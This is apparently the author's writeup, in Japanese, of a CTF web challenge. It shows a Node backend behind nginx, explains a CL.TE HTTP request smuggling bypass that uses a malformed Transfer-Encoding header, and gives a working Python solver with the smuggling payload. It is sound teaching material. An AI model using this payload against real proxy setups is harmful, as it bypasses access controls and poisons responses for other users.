1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] ghost (sknbCTF 2025) 作問者writeup

1
Last updated at Posted at 2025-12-08


NodeサーバーとNginxプロキシからなる問題。

const http = require('http');
const fs = require('fs');
const path = require('path');

const FLAG = process.env.FLAG || 'sknb{dummy}';

http.createServer((req, res) => {
  console.log(`${req.method} ${req.url}`);

  switch (req.url) {
    case '/flag':
      if (!req.headers['x-from-proxy']) {
        res.end(FLAG);
      } else {
        res.writeHead(403, { 'Content-Type': 'text/plain' });
        res.end('Forbidden');
      }
      return;
    
    case '/':
      res.end('Hello');
      return;

    default:
      res.writeHead(404, { 'Content-Type': 'text/plain' });
      res.end('Not Found');
      return;
  }

}).listen(8080, () => console.log('Backend on :8080'));
error_log /dev/stdout info;

events {
  worker_connections 1024;
}

http {
  server {
    listen 80;
    keepalive_timeout 5s;
    ignore_invalid_headers off;

    location / {
        proxy_pass http://app:8080;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        proxy_set_header X-From-Proxy true;
    }
  }
}

X-From-Proxyヘッダなしで/flagへアクセスできればflagが得られるが、Nginxを経由する際に必ず付与されてしまう。

これを回避するには、HTTP request smugglingでNginxには認識されないがNodeサーバーには認識されるリクエストを送り込めば良い。

nginx.confをよく見ると、ignore_invalid_headersというオプションがついている。これは不正なhttpヘッダを除去せずそのまま後ろへ渡すという設定になる。また、NodeのDockerfileを見ると、--insecure-http-serverというオプションで起動していることが分かる。これは厳密には正しくないhttpヘッダも良い感じに解釈して取り込んでくれるという設定になる。

FROM node:24-slim

WORKDIR /app
COPY server.js .

EXPOSE 8080
CMD ["node", "--insecure-http-parser", "server.js"]

想定解はこれらの挙動差によるCL.TE vulnerabilityを用いたHTTP request smugglingになる。具体的には、ヘッダにスペースやタブ文字を挿入することで解釈差を引き起こすことができる。

Transfer-Encoding: chunked    # valid
Transfer-Encoding : chunked   # invalid

以下のようなリクエストを送信すると、NginxはContent-Lengthヘッダを見て後半のGET /flagあたりもbodyだと解釈するが、NodeサーバーはTransfer-Encodingヘッダを見るため0でリクエストが終わりだと解釈し、GET /flag以降は別のリクエストとして扱う。

POST / HTTP/1.1
Host: vuln
Content-Length: 39
Transfer-Encoding : chunked

0

GET /flag HTTP/1.1
Host: vuln

これでsmuggledなリクエストを送信することができるようになったが、このままではレスポンスにflagは含まれていない。Nginxはリクエストを1つだと解釈しているので、Nodeサーバーからのレスポンスも1つ目だけ返し、flagが含まれた2つ目のリクエストはNginxのresponse queueに詰まったままとなる。
これを取得するためには直後に別のリクエストを送信するだけで良く、Nginxは次のリクエストに対してqueueの先頭で詰まっている(flagを含んだ)レスポンスを返す。

よって、最終的なsolverはこうなる。

#!/usr/bin/env python3
import sys, socket, textwrap, time

host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080

payload1 = textwrap.dedent(f"""\
    POST / HTTP/1.1
    Host: vuln
    Content-Length: 39
    Transfer-Encoding : chunked

    0

    GET /flag HTTP/1.1
    Host: vuln

    """).replace("\n", "\r\n").encode()

payload2 = textwrap.dedent(f"""\
    GET / HTTP/1.1
    Host: vuln
    Connection: close

    """).replace("\n", "\r\n").encode()


while True:
    with socket.create_connection((host, port)) as s:
        s.sendall(payload1) # Request Smuggling
        s.sendall(payload2) # Get Poisoned Response
        resp = b""
        while True:
            data = s.recv(1024)
            if not data:
                break
            resp += data
        decoded = resp.decode("latin1", errors="replace")
        if "sknb{" in decoded:
            flag = decoded.split("sknb{")[1].split("}")[0]
            print(f"sknb{{{flag}}}")
            break

    time.sleep(0.1)

sknb{wh3r3_4m_1_wh1sp3r_wh1sp3r_wh1sp3r}

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?